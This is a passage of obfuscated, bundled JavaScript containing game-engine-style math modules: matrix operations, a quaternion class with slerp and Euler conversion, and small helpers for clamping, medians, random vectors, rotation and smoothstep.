+ _0xdbc21e * _0x4430cc + _0x3e9323 * _0x4e9b79, _0x299e2f * _0x360624 + _0x2739f5 * _0x4791ee + _0x1dca22 * _0x5ebf30 + _0x204f5a * _0x5418f6, _0x299e2f * _0x36579d + _0x2739f5 * _0x173277 + _0x1dca22 * _0x1d26f3 + _0x204f5a * _0x23914e, _0x299e2f * _0x327980 + _0x2739f5 * _0x50cbbe + _0x1dca22 * _0xc29c0a + _0x204f5a * _0x59d043, _0x299e2f * _0x1c2820 + _0x2739f5 * _0x24ba2f + _0x1dca22 * _0x4430cc + _0x204f5a * _0x4e9b79, _0x85c9d7 * _0x360624 + _0x19e912 * _0x4791ee + _0x414afc * _0x5ebf30 + _0x2927e1 * _0x5418f6, _0x85c9d7 * _0x36579d + _0x19e912 * _0x173277 + _0x414afc * _0x1d26f3 + _0x2927e1 * _0x23914e, _0x85c9d7 * _0x327980 + _0x19e912 * _0x50cbbe + _0x414afc * _0xc29c0a + _0x2927e1 * _0x59d043, _0x85c9d7 * _0x1c2820 + _0x19e912 * _0x24ba2f + _0x414afc * _0x4430cc + _0x2927e1 * _0x4e9b79, _0x47483a * _0x360624 + _0x31c103 * _0x4791ee + _0x2395ec * _0x5ebf30 + _0x338cda * _0x5418f6, _0x47483a * _0x36579d + _0x31c103 * _0x173277 + _0x2395ec * _0x1d26f3 + _0x338cda * _0x23914e, _0x47483a * _0x327980 + _0x31c103 * _0x50cbbe + _0x2395ec * _0xc29c0a + _0x338cda * _0x59d043, _0x47483a * _0x1c2820 + _0x31c103 * _0x24ba2f + _0x2395ec * _0x4430cc + _0x338cda * _0x4e9b79); }, 'fromRotationXYTranslation': function (_0x45623b, _0x10859b, _0x129cfd) { var _0x36f366 = _0x10859b['x'], _0x8e590e = _0x10859b['y'], _0x36b341 = _0x10859b['z'], _0x56daff = Math['sin'](_0x45623b['x']), _0x35b82b = Math['cos'](_0x45623b['x']), _0x40ef14 = Math['sin'](_0x45623b['y']), _0x2c4dc5 = Math['cos'](_0x45623b['y']), _0x34c9b5 = _0x36f366, _0x25b590 = _0x8e590e, _0x3c3d19 = _0x36b341, _0x4f9827 = -_0x56daff, _0x11549d = 0x0 - _0x4f9827 * _0x40ef14, _0x11fd04 = 0x0 - _0x35b82b * _0x40ef14, _0xa31ec2 = _0x4f9827 * _0x2c4dc5, _0x180dc3 = _0x35b82b * _0x2c4dc5; return _0x129cfd || (_0x34c9b5 = _0x2c4dc5 * _0x36f366 + _0x40ef14 * _0x36b341, _0x25b590 = _0x11549d * _0x36f366 + _0x35b82b * _0x8e590e + _0xa31ec2 * _0x36b341, _0x3c3d19 = _0x11fd04 * _0x36f366 + _0x56daff * _0x8e590e + _0x180dc3 * _0x36b341), this['setValues'](_0x2c4dc5, _0x11549d, _0x11fd04, 0x0, 0x0, _0x35b82b, _0x56daff, 0x0, _0x40ef14, _0xa31ec2, _0x180dc3, 0x0, _0x34c9b5, _0x25b590, _0x3c3d19, 0x1); }, 'getMaxScaleOnAxis': function () { var _0x2282eb = this['val'], _0x25a519 = _0x2282eb[0x0] * _0x2282eb[0x0] + _0x2282eb[0x1] * _0x2282eb[0x1] + _0x2282eb[0x2] * _0x2282eb[0x2], _0x25b68c = _0x2282eb[0x4] * _0x2282eb[0x4] + _0x2282eb[0x5] * _0x2282eb[0x5] + _0x2282eb[0x6] * _0x2282eb[0x6], _0x14f74f = _0x2282eb[0x8] * _0x2282eb[0x8] + _0x2282eb[0x9] * _0x2282eb[0x9] + _0x2282eb[0xa] * _0x2282eb[0xa]; return Math['sqrt'](Math['max'](_0x25a519, _0x25b68c, _0x14f74f)); } }), _0x40b9e0 = new _0x106fb4(), _0x3288d3 = new _0x106fb4(), _0x3691ef = new _0x106e5c(), _0x36f688 = new _0x106e5c(), _0x1108cf = new _0x106e5c(); _0x5b78c3['exports'] = _0x106fb4; }, 0xe95: _0x19c8b5 => { _0x19c8b5['exports'] = function (_0x25228e, _0x27450e, _0xa223f3) { return Math['min'](_0x25228e + _0x27450e, _0xa223f3); }; }, 0x2c: _0x1ec6ea => { _0x1ec6ea['exports'] = function (_0xcc91f8) { var _0x1fad8b = _0xcc91f8['length']; if (0x0 === _0x1fad8b) return 0x0; _0xcc91f8['sort'](function (_0x14fad3, _0x616ff0) { return _0x14fad3 - _0x616ff0; }); var _0x6e1f51 = Math['floor'](_0x1fad8b / 0x2); return _0x1fad8b % 0x2 == 0x0 ? (_0xcc91f8[_0x6e1f51] + _0xcc91f8[_0x6e1f51 - 0x1]) / 0x2 : _0xcc91f8[_0x6e1f51]; }; }, 0x1509: _0x424c2f => { _0x424c2f['exports'] = function (_0x1ccc6c, _0x580dec, _0x5abf08) { return Math['max'](_0x1ccc6c - _0x580dec, _0x5abf08); }; }, 0x2189: _0x2f2b0c => { _0x2f2b0c['exports'] = function (_0x2884e3, _0x12c9fe, _0x5a75ae, _0x1f5c2c) { void 0x0 === _0x5a75ae && (_0x5a75ae = _0x12c9fe + 0x1); var _0x1ddc95 = (_0x2884e3 - _0x12c9fe) / (_0x5a75ae - _0x12c9fe); return _0x1ddc95 > 0x1 ? void 0x0 !== _0x1f5c2c ? (_0x1ddc95 = (_0x1f5c2c - _0x2884e3) / (_0x1f5c2c - _0x5a75ae)) < 0x0 && (_0x1ddc95 = 0x0) : _0x1ddc95 = 0x1 : _0x1ddc95 < 0x0 && (_0x1ddc95 = 0x0), _0x1ddc95; }; }, 0x174: (_0xb0137d, _0x216239, _0x169ab9) => { var _0x1ed182 = _0x169ab9(0x1d31), _0x327390 = _0x169ab9(0x865), _0x309e01 = _0x169ab9(0x7c0), _0x494a3b = _0x169ab9(0x1639), _0x45a37a = 0.000001, _0x6cc3a9 = new Int8Array([0x1, 0x2, 0x0]), _0x30a855 = new Float32Array([0x0, 0x0, 0x0]), _0x411510 = new _0x494a3b(0x1, 0x0, 0x0), _0x5e9f72 = new _0x494a3b(0x0, 0x1, 0x0), _0xe8617e = new _0x494a3b(), _0x758198 = new _0x327390(), _0x3b37e8 = new _0x1ed182({ 'initialize': function (_0x5bf38f, _0x5c01cb, _0x5508ae, _0x4ee260) { this['onChangeCallback'] = _0x309e01, this['set'](_0x5bf38f, _0x5c01cb, _0x5508ae, _0x4ee260); }, 'x': { 'get': function () { return this['_x']; }, 'set': function (_0x940b03) { this['_x'] = _0x940b03, this['onChangeCallback'](this); } }, 'y': { 'get': function () { return this['_y']; }, 'set': function (_0x10ef8b) { this['_y'] = _0x10ef8b, this['onChangeCallback'](this); } }, 'z': { 'get': function () { return this['_z']; }, 'set': function (_0xe1e45d) { this['_z'] = _0xe1e45d, this['onChangeCallback'](this); } }, 'w': { 'get': function () { return this['_w']; }, 'set': function (_0x9f548d) { this['_w'] = _0x9f548d, this['onChangeCallback'](this); } }, 'copy': function (_0x13aad8) { return this['set'](_0x13aad8); }, 'set': function (_0x5258ae, _0x3b99e5, _0x4bd6ce, _0x546663, _0x38d091) { return void 0x0 === _0x38d091 && (_0x38d091 = !0x0), 'object' == typeof _0x5258ae ? (this['_x'] = _0x5258ae['x'] || 0x0, this['_y'] = _0x5258ae['y'] || 0x0, this['_z'] = _0x5258ae['z'] || 0x0, this['_w'] = _0x5258ae['w'] || 0x0) : (this['_x'] = _0x5258ae || 0x0, this['_y'] = _0x3b99e5 || 0x0, this['_z'] = _0x4bd6ce || 0x0, this['_w'] = _0x546663 || 0x0), _0x38d091 && this['onChangeCallback'](this), this; }, 'add': function (_0x40c2e4) { return this['_x'] += _0x40c2e4['x'], this['_y'] += _0x40c2e4['y'], this['_z'] += _0x40c2e4['z'], this['_w'] += _0x40c2e4['w'], this['onChangeCallback'](this), this; }, 'subtract': function (_0x31727f) { return this['_x'] -= _0x31727f['x'], this['_y'] -= _0x31727f['y'], this['_z'] -= _0x31727f['z'], this['_w'] -= _0x31727f['w'], this['onChangeCallback'](this), this; }, 'scale': function (_0x94c4b0) { return this['_x'] *= _0x94c4b0, this['_y'] *= _0x94c4b0, this['_z'] *= _0x94c4b0, this['_w'] *= _0x94c4b0, this['onChangeCallback'](this), this; }, 'length': function () { var _0x3b9d91 = this['x'], _0x59fb9b = this['y'], _0x4f96a8 = this['z'], _0x5f82d0 = this['w']; return Math['sqrt'](_0x3b9d91 * _0x3b9d91 + _0x59fb9b * _0x59fb9b + _0x4f96a8 * _0x4f96a8 + _0x5f82d0 * _0x5f82d0); }, 'lengthSq': function () { var _0x81b451 = this['x'], _0x4b579f = this['y'], _0x379465 = this['z'], _0x574279 = this['w']; return _0x81b451 * _0x81b451 + _0x4b579f * _0x4b579f + _0x379465 * _0x379465 + _0x574279 * _0x574279; }, 'normalize': function () { var _0x4221ef = this['x'], _0x5e02d2 = this['y'], _0x3184ed = this['z'], _0x179fcb = this['w'], _0x2602e8 = _0x4221ef * _0x4221ef + _0x5e02d2 * _0x5e02d2 + _0x3184ed * _0x3184ed + _0x179fcb * _0x179fcb; return _0x2602e8 > 0x0 && (_0x2602e8 = 0x1 / Math['sqrt'](_0x2602e8), this['_x'] = _0x4221ef * _0x2602e8, this['_y'] = _0x5e02d2 * _0x2602e8, this['_z'] = _0x3184ed * _0x2602e8, this['_w'] = _0x179fcb * _0x2602e8), this['onChangeCallback'](this), this; }, 'dot': function (_0x4d5467) { return this['x'] * _0x4d5467['x'] + this['y'] * _0x4d5467['y'] + this['z'] * _0x4d5467['z'] + this['w'] * _0x4d5467['w']; }, 'lerp': function (_0x25db2d, _0x20ea32) { void 0x0 === _0x20ea32 && (_0x20ea32 = 0x0); var _0x4a1786 = this['x'], _0x1f21b9 = this['y'], _0x21e79e = this['z'], _0x26b4fa = this['w']; return this['set'](_0x4a1786 + _0x20ea32 * (_0x25db2d['x'] - _0x4a1786), _0x1f21b9 + _0x20ea32 * (_0x25db2d['y'] - _0x1f21b9), _0x21e79e + _0x20ea32 * (_0x25db2d['z'] - _0x21e79e), _0x26b4fa + _0x20ea32 * (_0x25db2d['w'] - _0x26b4fa)); }, 'rotationTo': function (_0x8267e5, _0x322067) { var _0x3c3a51 = _0x8267e5['x'] * _0x322067['x'] + _0x8267e5['y'] * _0x322067['y'] + _0x8267e5['z'] * _0x322067['z']; return _0x3c3a51 < -0.999999 ? (_0xe8617e['copy'](_0x411510)['cross'](_0x8267e5)['length']() < _0x45a37a && _0xe8617e['copy'](_0x5e9f72)['cross'](_0x8267e5), _0xe8617e['normalize'](), this['setAxisAngle'](_0xe8617e, Math['PI'])) : _0x3c3a51 > 0.999999 ? this['set'](0x0, 0x0, 0x0, 0x1) : (_0xe8617e['copy'](_0x8267e5)['cross'](_0x322067), this['_x'] = _0xe8617e['x'], this['_y'] = _0xe8617e['y'], this['_z'] = _0xe8617e['z'], this['_w'] = 0x1 + _0x3c3a51, this['normalize']()); }, 'setAxes': function (_0x4e73b6, _0x2ac6be, _0x598309) { var _0x3f1c3a = _0x758198['val']; return _0x3f1c3a[0x0] = _0x2ac6be['x'], _0x3f1c3a[0x3] = _0x2ac6be['y'], _0x3f1c3a[0x6] = _0x2ac6be['z'], _0x3f1c3a[0x1] = _0x598309['x'], _0x3f1c3a[0x4] = _0x598309['y'], _0x3f1c3a[0x7] = _0x598309['z'], _0x3f1c3a[0x2] = -_0x4e73b6['x'], _0x3f1c3a[0x5] = -_0x4e73b6['y'], _0x3f1c3a[0x8] = -_0x4e73b6['z'], this['fromMat3'](_0x758198)['normalize'](); }, 'identity': function () { return this['set'](0x0, 0x0, 0x0, 0x1); }, 'setAxisAngle': function (_0x43d0d3, _0x470fde) { _0x470fde *= 0.5; var _0x3120e9 = Math['sin'](_0x470fde); return this['set'](_0x3120e9 * _0x43d0d3['x'], _0x3120e9 * _0x43d0d3['y'], _0x3120e9 * _0x43d0d3['z'], Math['cos'](_0x470fde)); }, 'multiply': function (_0x2cb507) { var _0x19883e = this['x'], _0x4247c5 = this['y'], _0x50287b = this['z'], _0x389687 = this['w'], _0x334e92 = _0x2cb507['x'], _0x40640e = _0x2cb507['y'], _0x56d9ab = _0x2cb507['z'], _0x5c0c44 = _0x2cb507['w']; return this['set'](_0x19883e * _0x5c0c44 + _0x389687 * _0x334e92 + _0x4247c5 * _0x56d9ab - _0x50287b * _0x40640e, _0x4247c5 * _0x5c0c44 + _0x389687 * _0x40640e + _0x50287b * _0x334e92 - _0x19883e * _0x56d9ab, _0x50287b * _0x5c0c44 + _0x389687 * _0x56d9ab + _0x19883e * _0x40640e - _0x4247c5 * _0x334e92, _0x389687 * _0x5c0c44 - _0x19883e * _0x334e92 - _0x4247c5 * _0x40640e - _0x50287b * _0x56d9ab); }, 'slerp': function (_0x16aec5, _0x591d19) { var _0x29ba5c = this['x'], _0x48d272 = this['y'], _0x297d79 = this['z'], _0xb3b639 = this['w'], _0x3b377f = _0x16aec5['x'], _0x471eb6 = _0x16aec5['y'], _0x21ba0a = _0x16aec5['z'], _0x37b922 = _0x16aec5['w'], _0x357b95 = _0x29ba5c * _0x3b377f + _0x48d272 * _0x471eb6 + _0x297d79 * _0x21ba0a + _0xb3b639 * _0x37b922; _0x357b95 < 0x0 && (_0x357b95 = -_0x357b95, _0x3b377f = -_0x3b377f, _0x471eb6 = -_0x471eb6, _0x21ba0a = -_0x21ba0a, _0x37b922 = -_0x37b922); var _0x3818bc = 0x1 - _0x591d19, _0x4093cd = _0x591d19; if (0x1 - _0x357b95 > _0x45a37a) { var _0x33a314 = Math['acos'](_0x357b95), _0x2efcca = Math['sin'](_0x33a314); _0x3818bc = Math['sin']((0x1 - _0x591d19) * _0x33a314) / _0x2efcca, _0x4093cd = Math['sin'](_0x591d19 * _0x33a314) / _0x2efcca; } return this['set'](_0x3818bc * _0x29ba5c + _0x4093cd * _0x3b377f, _0x3818bc * _0x48d272 + _0x4093cd * _0x471eb6, _0x3818bc * _0x297d79 + _0x4093cd * _0x21ba0a, _0x3818bc * _0xb3b639 + _0x4093cd * _0x37b922); }, 'invert': function () { var _0x2166e8 = this['x'], _0x4f5a7f = this['y'], _0x3e9753 = this['z'], _0x28bc7c = this['w'], _0x271b7c = _0x2166e8 * _0x2166e8 + _0x4f5a7f * _0x4f5a7f + _0x3e9753 * _0x3e9753 + _0x28bc7c * _0x28bc7c, _0x4bfb7c = _0x271b7c ? 0x1 / _0x271b7c : 0x0; return this['set'](-_0x2166e8 * _0x4bfb7c, -_0x4f5a7f * _0x4bfb7c, -_0x3e9753 * _0x4bfb7c, _0x28bc7c * _0x4bfb7c); }, 'conjugate': function () { return this['_x'] = -this['x'], this['_y'] = -this['y'], this['_z'] = -this['z'], this['onChangeCallback'](this), this; }, 'rotateX': function (_0x440ffa) { _0x440ffa *= 0.5; var _0x3c291c = this['x'], _0x4284ce = this['y'], _0x2cdb63 = this['z'], _0x3a95d8 = this['w'], _0x228fa3 = Math['sin'](_0x440ffa), _0x5cd459 = Math['cos'](_0x440ffa); return this['set'](_0x3c291c * _0x5cd459 + _0x3a95d8 * _0x228fa3, _0x4284ce * _0x5cd459 + _0x2cdb63 * _0x228fa3, _0x2cdb63 * _0x5cd459 - _0x4284ce * _0x228fa3, _0x3a95d8 * _0x5cd459 - _0x3c291c * _0x228fa3); }, 'rotateY': function (_0x5389af) { _0x5389af *= 0.5; var _0x41d6a2 = this['x'], _0x5be1a1 = this['y'], _0x3ebcda = this['z'], _0x5ed684 = this['w'], _0x1e3165 = Math['sin'](_0x5389af), _0x1d500b = Math['cos'](_0x5389af); return this['set'](_0x41d6a2 * _0x1d500b - _0x3ebcda * _0x1e3165, _0x5be1a1 * _0x1d500b + _0x5ed684 * _0x1e3165, _0x3ebcda * _0x1d500b + _0x41d6a2 * _0x1e3165, _0x5ed684 * _0x1d500b - _0x5be1a1 * _0x1e3165); }, 'rotateZ': function (_0x583835) { _0x583835 *= 0.5; var _0x22e99e = this['x'], _0x4ff6e0 = this['y'], _0x1e8318 = this['z'], _0x56361d = this['w'], _0x29cb4b = Math['sin'](_0x583835), _0x36664a = Math['cos'](_0x583835); return this['set'](_0x22e99e * _0x36664a + _0x4ff6e0 * _0x29cb4b, _0x4ff6e0 * _0x36664a - _0x22e99e * _0x29cb4b, _0x1e8318 * _0x36664a + _0x56361d * _0x29cb4b, _0x56361d * _0x36664a - _0x1e8318 * _0x29cb4b); }, 'calculateW': function () { var _0x487fe2 = this['x'], _0x5ea2a6 = this['y'], _0x2bd8fa = this['z']; return this['w'] = -Math['sqrt'](0x1 - _0x487fe2 * _0x487fe2 - _0x5ea2a6 * _0x5ea2a6 - _0x2bd8fa * _0x2bd8fa), this; }, 'setFromEuler': function (_0xa4965c, _0x41b871) { var _0x23757b = _0xa4965c['x'] / 0x2, _0x4715e9 = _0xa4965c['y'] / 0x2, _0x574b22 = _0xa4965c['z'] / 0x2, _0x1aacd2 = Math['cos'](_0x23757b), _0x1172f6 = Math['cos'](_0x4715e9), _0x4f1604 = Math['cos'](_0x574b22), _0x1c8c4e = Math['sin'](_0x23757b), _0x249632 = Math['sin'](_0x4715e9), _0x5c39f5 = Math['sin'](_0x574b22); switch (_0xa4965c['order']) { case 'XYZ': this['set'](_0x1c8c4e * _0x1172f6 * _0x4f1604 + _0x1aacd2 * _0x249632 * _0x5c39f5, _0x1aacd2 * _0x249632 * _0x4f1604 - _0x1c8c4e * _0x1172f6 * _0x5c39f5, _0x1aacd2 * _0x1172f6 * _0x5c39f5 + _0x1c8c4e * _0x249632 * _0x4f1604, _0x1aacd2 * _0x1172f6 * _0x4f1604 - _0x1c8c4e * _0x249632 * _0x5c39f5, _0x41b871); break; case 'YXZ': this['set'](_0x1c8c4e * _0x1172f6 * _0x4f1604 + _0x1aacd2 * _0x249632 * _0x5c39f5, _0x1aacd2 * _0x249632 * _0x4f1604 - _0x1c8c4e * _0x1172f6 * _0x5c39f5, _0x1aacd2 * _0x1172f6 * _0x5c39f5 - _0x1c8c4e * _0x249632 * _0x4f1604, _0x1aacd2 * _0x1172f6 * _0x4f1604 + _0x1c8c4e * _0x249632 * _0x5c39f5, _0x41b871); break; case 'ZXY': this['set'](_0x1c8c4e * _0x1172f6 * _0x4f1604 - _0x1aacd2 * _0x249632 * _0x5c39f5, _0x1aacd2 * _0x249632 * _0x4f1604 + _0x1c8c4e * _0x1172f6 * _0x5c39f5, _0x1aacd2 * _0x1172f6 * _0x5c39f5 + _0x1c8c4e * _0x249632 * _0x4f1604, _0x1aacd2 * _0x1172f6 * _0x4f1604 - _0x1c8c4e * _0x249632 * _0x5c39f5, _0x41b871); break; case 'ZYX': this['set'](_0x1c8c4e * _0x1172f6 * _0x4f1604 - _0x1aacd2 * _0x249632 * _0x5c39f5, _0x1aacd2 * _0x249632 * _0x4f1604 + _0x1c8c4e * _0x1172f6 * _0x5c39f5, _0x1aacd2 * _0x1172f6 * _0x5c39f5 - _0x1c8c4e * _0x249632 * _0x4f1604, _0x1aacd2 * _0x1172f6 * _0x4f1604 + _0x1c8c4e * _0x249632 * _0x5c39f5, _0x41b871); break; case 'YZX': this['set'](_0x1c8c4e * _0x1172f6 * _0x4f1604 + _0x1aacd2 * _0x249632 * _0x5c39f5, _0x1aacd2 * _0x249632 * _0x4f1604 + _0x1c8c4e * _0x1172f6 * _0x5c39f5, _0x1aacd2 * _0x1172f6 * _0x5c39f5 - _0x1c8c4e * _0x249632 * _0x4f1604, _0x1aacd2 * _0x1172f6 * _0x4f1604 - _0x1c8c4e * _0x249632 * _0x5c39f5, _0x41b871); break; case 'XZY': this['set'](_0x1c8c4e * _0x1172f6 * _0x4f1604 - _0x1aacd2 * _0x249632 * _0x5c39f5, _0x1aacd2 * _0x249632 * _0x4f1604 - _0x1c8c4e * _0x1172f6 * _0x5c39f5, _0x1aacd2 * _0x1172f6 * _0x5c39f5 + _0x1c8c4e * _0x249632 * _0x4f1604, _0x1aacd2 * _0x1172f6 * _0x4f1604 + _0x1c8c4e * _0x249632 * _0x5c39f5, _0x41b871); }return this; }, 'setFromRotationMatrix': function (_0x3b87a5) { var _0x430c0b, _0x2e6298 = _0x3b87a5['val'], _0x2419d8 = _0x2e6298[0x0], _0x289891 = _0x2e6298[0x4], _0x21bf3b = _0x2e6298[0x8], _0x46c7f4 = _0x2e6298[0x1], _0xe8cae1 = _0x2e6298[0x5], _0x1854c0 = _0x2e6298[0x9], _0x5ad42a = _0x2e6298[0x2], _0x1db00b = _0x2e6298[0x6], _0x4ea616 = _0x2e6298[0xa], _0x275879 = _0x2419d8 + _0xe8cae1 + _0x4ea616; return _0x275879 > 0x0 ? (_0x430c0b = 0.5 / Math['sqrt'](_0x275879 + 0x1), this['set']((_0x1db00b - _0x1854c0) * _0x430c0b, (_0x21bf3b - _0x5ad42a) * _0x430c0b, (_0x46c7f4 - _0x289891) * _0x430c0b, 0.25 / _0x430c0b)) : _0x2419d8 > _0xe8cae1 && _0x2419d8 > _0x4ea616 ? (_0x430c0b = 0x2 * Math['sqrt'](0x1 + _0x2419d8 - _0xe8cae1 - _0x4ea616), this['set'](0.25 * _0x430c0b, (_0x289891 + _0x46c7f4) / _0x430c0b, (_0x21bf3b + _0x5ad42a) / _0x430c0b, (_0x1db00b - _0x1854c0) / _0x430c0b)) : _0xe8cae1 > _0x4ea616 ? (_0x430c0b = 0x2 * Math['sqrt'](0x1 + _0xe8cae1 - _0x2419d8 - _0x4ea616), this['set']((_0x289891 + _0x46c7f4) / _0x430c0b, 0.25 * _0x430c0b, (_0x1854c0 + _0x1db00b) / _0x430c0b, (_0x21bf3b - _0x5ad42a) / _0x430c0b)) : (_0x430c0b = 0x2 * Math['sqrt'](0x1 + _0x4ea616 - _0x2419d8 - _0xe8cae1), this['set']((_0x21bf3b + _0x5ad42a) / _0x430c0b, (_0x1854c0 + _0x1db00b) / _0x430c0b, 0.25 * _0x430c0b, (_0x46c7f4 - _0x289891) / _0x430c0b)), this; }, 'fromMat3': function (_0x1c5431) { var _0x5caba7, _0x1afc0f = _0x1c5431['val'], _0x3cbc5a = _0x1afc0f[0x0] + _0x1afc0f[0x4] + _0x1afc0f[0x8]; if (_0x3cbc5a > 0x0) _0x5caba7 = Math['sqrt'](_0x3cbc5a + 0x1), this['w'] = 0.5 * _0x5caba7, _0x5caba7 = 0.5 / _0x5caba7, this['_x'] = (_0x1afc0f[0x7] - _0x1afc0f[0x5]) * _0x5caba7, this['_y'] = (_0x1afc0f[0x2] - _0x1afc0f[0x6]) * _0x5caba7, this['_z'] = (_0x1afc0f[0x3] - _0x1afc0f[0x1]) * _0x5caba7; else { var _0x4d6cf8 = 0x0; _0x1afc0f[0x4] > _0x1afc0f[0x0] && (_0x4d6cf8 = 0x1), _0x1afc0f[0x8] > _0x1afc0f[0x3 * _0x4d6cf8 + _0x4d6cf8] && (_0x4d6cf8 = 0x2); var _0x4aa351 = _0x6cc3a9[_0x4d6cf8], _0x13daca = _0x6cc3a9[_0x4aa351]; _0x5caba7 = Math['sqrt'](_0x1afc0f[0x3 * _0x4d6cf8 + _0x4d6cf8] - _0x1afc0f[0x3 * _0x4aa351 + _0x4aa351] - _0x1afc0f[0x3 * _0x13daca + _0x13daca] + 0x1), _0x30a855[_0x4d6cf8] = 0.5 * _0x5caba7, _0x5caba7 = 0.5 / _0x5caba7, _0x30a855[_0x4aa351] = (_0x1afc0f[0x3 * _0x4aa351 + _0x4d6cf8] + _0x1afc0f[0x3 * _0x4d6cf8 + _0x4aa351]) * _0x5caba7, _0x30a855[_0x13daca] = (_0x1afc0f[0x3 * _0x13daca + _0x4d6cf8] + _0x1afc0f[0x3 * _0x4d6cf8 + _0x13daca]) * _0x5caba7, this['_x'] = _0x30a855[0x0], this['_y'] = _0x30a855[0x1], this['_z'] = _0x30a855[0x2], this['_w'] = (_0x1afc0f[0x3 * _0x13daca + _0x4aa351] - _0x1afc0f[0x3 * _0x4aa351 + _0x13daca]) * _0x5caba7; } return this['onChangeCallback'](this), this; } }); _0xb0137d['exports'] = _0x3b37e8; }, 0x1070: (_0x46ee15, _0xeb8039, _0x1bc1f1) => { var _0x3d6795 = _0x1bc1f1(0x1d01); _0x46ee15['exports'] = function (_0x21952d) { return _0x21952d * _0x3d6795['RAD_TO_DEG']; }; }, 0x6a9: _0x3e751a => { _0x3e751a['exports'] = function (_0x3657b4, _0x533352) { void 0x0 === _0x533352 && (_0x533352 = 0x1); var _0x38ade4 = 0x2 * Math['random']() * Math['PI']; return _0x3657b4['x'] = Math['cos'](_0x38ade4) * _0x533352, _0x3657b4['y'] = Math['sin'](_0x38ade4) * _0x533352, _0x3657b4; }; }, 0x19fa: _0x198d9a => { _0x198d9a['exports'] = function (_0x4470c1, _0x5eaf15) { void 0x0 === _0x5eaf15 && (_0x5eaf15 = 0x1); var _0x4a618c = 0x2 * Math['random']() * Math['PI'], _0x11f952 = 0x2 * Math['random']() - 0x1, _0x494b82 = Math['sqrt'](0x1 - _0x11f952 * _0x11f952) * _0x5eaf15; return _0x4470c1['x'] = Math['cos'](_0x4a618c) * _0x494b82, _0x4470c1['y'] = Math['sin'](_0x4a618c) * _0x494b82, _0x4470c1['z'] = _0x11f952 * _0x5eaf15, _0x4470c1; }; }, 0x7f5: _0x4145de => { _0x4145de['exports'] = function (_0x4ca3af, _0x56e238) { return void 0x0 === _0x56e238 && (_0x56e238 = 0x1), _0x4ca3af['x'] = (0x2 * Math['random']() - 0x1) * _0x56e238, _0x4ca3af['y'] = (0x2 * Math['random']() - 0x1) * _0x56e238, _0x4ca3af['z'] = (0x2 * Math['random']() - 0x1) * _0x56e238, _0x4ca3af['w'] = (0x2 * Math['random']() - 0x1) * _0x56e238, _0x4ca3af; }; }, 0x188b: _0x2773bd => { _0x2773bd['exports'] = function (_0x130b26, _0x29b258) { var _0x1fdc58 = _0x130b26['x'], _0x5589c6 = _0x130b26['y']; return _0x130b26['x'] = _0x1fdc58 * Math['cos'](_0x29b258) - _0x5589c6 * Math['sin'](_0x29b258), _0x130b26['y'] = _0x1fdc58 * Math['sin'](_0x29b258) + _0x5589c6 * Math['cos'](_0x29b258), _0x130b26; }; }, 0x2694: _0x14f662 => { _0x14f662['exports'] = function (_0x36b08c, _0x1ad09d, _0x4b0741, _0x44bdc0) { var _0x4cfead = Math['cos'](_0x44bdc0), _0xb6f457 = Math['sin'](_0x44bdc0), _0x4698ee = _0x36b08c['x'] - _0x1ad09d, _0x19aa40 = _0x36b08c['y'] - _0x4b0741; return _0x36b08c['x'] = _0x4698ee * _0x4cfead - _0x19aa40 * _0xb6f457 + _0x1ad09d, _0x36b08c['y'] = _0x4698ee * _0xb6f457 + _0x19aa40 * _0x4cfead + _0x4b0741, _0x36b08c; }; }, 0x209c: _0x5c6b3c => { _0x5c6b3c['exports'] = function (_0x4e3c90, _0x6e070e, _0x5b3788, _0x53e55f, _0x69568e) { var _0x3bf7b0 = _0x53e55f + Math['atan2'](_0x4e3c90['y'] - _0x5b3788, _0x4e3c90['x'] - _0x6e070e); return _0x4e3c90['x'] = _0x6e070e + _0x69568e * Math['cos'](_0x3bf7b0), _0x4e3c90['y'] = _0x5b3788 + _0x69568e * Math['sin'](_0x3bf7b0), _0x4e3c90; }; }, 0x1191: _0x19fd86 => { _0x19fd86['exports'] = function (_0xb51715, _0x352223, _0x504391, _0x1a394b, _0x2541b9) { return _0xb51715['x'] = _0x352223 + _0x2541b9 * Math['cos'](_0x1a394b), _0xb51715['y'] = _0x504391 + _0x2541b9 * Math['sin'](_0x1a394b), _0xb51715; }; }, 0x25a8: (_0x5a25d7, _0x35348b, _0x171e49) => { var _0x49bcb0 = _0x171e49(0x1639), _0x4f5c97 = _0x171e49(0x25b4), _0x32d539 = _0x171e49(0x174), _0x5d670b = new _0x4f5c97(), _0x55a3ad = new _0x32d539(), _0xae5167 = new _0x49bcb0(); _0x5a25d7['exports'] = function (_0x3562b4, _0x218422, _0x500c81) { return _0x55a3ad['setAxisAngle'](_0x218422, _0x500c81), _0x5d670b['fromRotationTranslation'](_0x55a3ad, _0xae5167['set'](0x0, 0x0, 0x0)), _0x3562b4['transformMat4'](_0x5d670b); }; }, 0xfee: _0x5cafa9 => { _0x5cafa9['exports'] = function (_0x1f9090) { return _0x1f9090 > 0x0 ? Math['ceil'](_0x1f9090) : Math['floor'](_0x1f9090); }; }, 0x357: _0x50cda1 => { _0x50cda1['exports'] = function (_0x2a1e0c, _0x1f9685, _0x993d05) { void 0x0 === _0x1f9685 && (_0x1f9685 = 0x0), void 0x0 === _0x993d05 && (_0x993d05 = 0xa); var _0x86dc0e = Math['pow'](_0x993d05, -_0x1f9685); return Math['round'](_0x2a1e0c * _0x86dc0e) / _0x86dc0e; }; }, 0x1348: _0x33fad8 => { _0x33fad8['exports'] = function (_0x1b92a2, _0x49c581, _0x3be91f, _0xf786a9) { void 0x0 === _0x49c581 && (_0x49c581 = 0x1), void 0x0 === _0x3be91f && (_0x3be91f = 0x1), void 0x0 === _0xf786a9 && (_0xf786a9 = 0x1), _0xf786a9 *= Math['PI'] / _0x1b92a2; for (var _0x2862c2 = [], _0x22c778 = [], _0x2ab697 = 0x0; _0x2ab697 < _0x1b92a2; _0x2ab697++)_0x49c581 += (_0x3be91f -= _0x49c581 * _0xf786a9) * _0xf786a9, _0x2862c2[_0x2ab697] = _0x3be91f, _0x22c778[_0x2ab697] = _0x49c581; return { 'sin': _0x22c778, 'cos': _0x2862c2, 'length': _0x1b92a2 }; }; }, 0xaad: _0x3c8244 => { _0x3c8244['exports'] = function (_0x11c360, _0x2e5bb8, _0x534844) { return _0x11c360 <= _0x2e5bb8 ? 0x0 : _0x11c360 >= _0x534844 ? 0x1 : (_0x11c360 = (_0x11c360 - _0x2e5bb8) / (_0x534844 - _0x2e5bb8)) * _0x11c360 * (0x3 - 0x2 * _0x11c360); }; }, 0x116: _0x5ad226 => { _0x5ad226['exports'] = function (_0x431d87, _0x700a5f, _0x271e13) { return (_0x431d87 = 